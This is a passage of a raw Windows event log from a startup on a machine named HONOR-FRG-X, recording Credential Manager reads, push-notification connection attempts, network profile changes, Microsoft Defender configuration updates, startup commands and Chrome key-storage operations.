08:29:08.705\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.726\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.726\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.767\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.769\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:08.770\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.813\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.813\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.840\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.841\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.841\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:09.061\t6062\t6062 - Wi-Fi Driver Info\tWarning\tSystem\tNetwtw14\n05.09.2026 08:29:09.083\t4042\tCapability change on {449f824d-2856-4717-a3a7-cf59faac817a} (0x47008000000000 Family: V4 Capability: Internet ChangeReason: ActiveHttpProbeSucceeded)\tInformation\tMicrosoft-Windows-NCSI/Operational\tMicrosoft-Windows-NCSI\n05.09.2026 08:29:09.084\t56\tIs a free network available: true\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:09.084\t55\tIs the Internet available: true\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:09.114\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.115\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.219\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.239\t4002\tTransitioning to State: Identified Network Interface Guid: {449f824d-2856-4717-a3a7-cf59faac817a}\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.242\t10000\t\"Network Connected\n\tName: HUAWEI_HG8245_WiFi\n\tDesc: HUAWEI_HG8245_WiFi\n\tType: Unmanaged\n\tState: Connected,IPV4 (Internet)\n\tCategory: Public\n\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.277\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.281\t1254\tWNP Transport Layer for Data Connection detected preferred interface change. Old index 0, old address family 0. New index 7, new address family 2, NDIS_PHYSICAL_MEDIUM 9.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.293\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.313\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.313\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.365\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:09.368\t8001\t\"Lease any offline running content after 1788571749 seconds\nFunction: NetworkStatusMonitor::Invoke\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (121)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8001\t\"Network connectivity level changed to 0x3\nFunction: NetworkStatusMonitor::Invoke\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (132)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8011\t0x21f83133e68: 13732: RootMachine: Dispatch: Root:EnsureAllKeysAndLeases => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8001\t\"0000021F83133E50: BeginRootLicense\nFunction: RootMachine::DoBeginRootLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (201)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8012\t0x21f83133e68: 13732: Root:Valid Change: Root:Negotiating => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8011\t0x21f83133e68: 13732: RootMachine: Dispatch: Root:@LicenseDone => Root:Negotiating\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.368\t8012\t0x21f83133e68: 13732: Root:Negotiating Change: Root:Valid => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:09.369\t1024\tInternet connection status changed to true, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.372\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.376\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.380\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:09.543\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:11.062\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Rules.RulesEngineAfterDeviceScanRulesEngineAfterDeviceScanExceptionGraphics: Object reference not set to an instance of an object.\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.064\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetComputerDataStaleDeviceDataFallback\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.068\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetComputerDataStaleStorageDeviceDataFallback\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.080\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSAClientCore.dllDSAClientCore.Controllers.Session.PopulateSessionControllerSetOemSupportDetailsUnknownOemHONOR/HONOR\tInformation\tApplication\tDSAService\n05.09.2026 08:29:11.318\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 9\nInterfaceIndex: 0x9\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:11.319\t1040\tReceived Mib notification type MibAddInstance for interface 9\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:11.319\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 9. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:11.415\t1010\t\"Endpoint added.\n\nName: HONOR-FRG-X     \nDomain Name: WORKGROUP\nTransport Name: \\Device\\NetBT_Tcpip_{449F824D-2856-4717-A3A7-CF59FAAC817A}\nTransport Flags: 0x1\n\nGuidance:\n\nYou should expect this event when the server starts listening on an interface, such as during system restart or when enabling a network adaptor. No user action is required.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:12.853\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\ProtectionManagementMofHash = a4f0455797da589699c88048c9055208884c9ae1a24e5783028173202684753e\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\ProtectionManagementMofHash = 38eb3b5d90c1abdb84dc50dd0a18c5d6dec582c62c4ac821c09984d2a9b98ae8\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.853\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = LoadingEngine\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = ServiceStartedSuccessfully\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\301 = 0x2710\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\282 = 0x1\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.856\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\Controls\\290 = 0x1\n \tNew value: \"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:12.939\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.000\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.002\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:13.005\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:13.372\t171\tThe reader was created successfully for app package inputsuggestions_8.1002.26168.2_neutral_neutral_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:14.362\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.362\t9707\tStarted execution of command 'RtkAudUService64.exe\" -background'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.804\t9708\tFinished execution of command 'RtkAudUService64.exe\" -background' (PID 12628).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.804\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.805\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:14.805\t9707\tStarted execution of command 'chrome.exe\" --no-startup-window /prefetch:5'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:15.137\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t14420\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:15.109934300Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7096db7aeb75c0d3497ecd56d355a695_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:15.137\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tAES\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.419\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:16.423\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:16.532\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t14976\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.492661000Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7096db7aeb75c0d3497ecd56d355a695_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.532\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tAES\n\tKey Name:\tGoogle Chromekey1\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:16.536\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1006//S-1-5-21-3712849175-2219398513-4278588552-1006//MSTestAvailability-FF2FA111-E816-4D1B-BDDD-65F189969E50\n \tAlgorithm Name:\tRSA\n \tFlags:\t\t0x0\n Failure Information:\n  \tReturn Code:\t0x80090016\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:18.100\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.100\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.116\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.116\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.291\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.299\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.305\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.305\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t1264\tAdding new user to the Windows Push Notification Service completed. 00180018E4F8342E [DeviceId] 17056885 [UserId] 0x880403E8 [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.306\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.313\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.318\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.327\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.328\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.328\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.813\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:18.821\t1022\tConnectWork is requesting ConnectionManager to 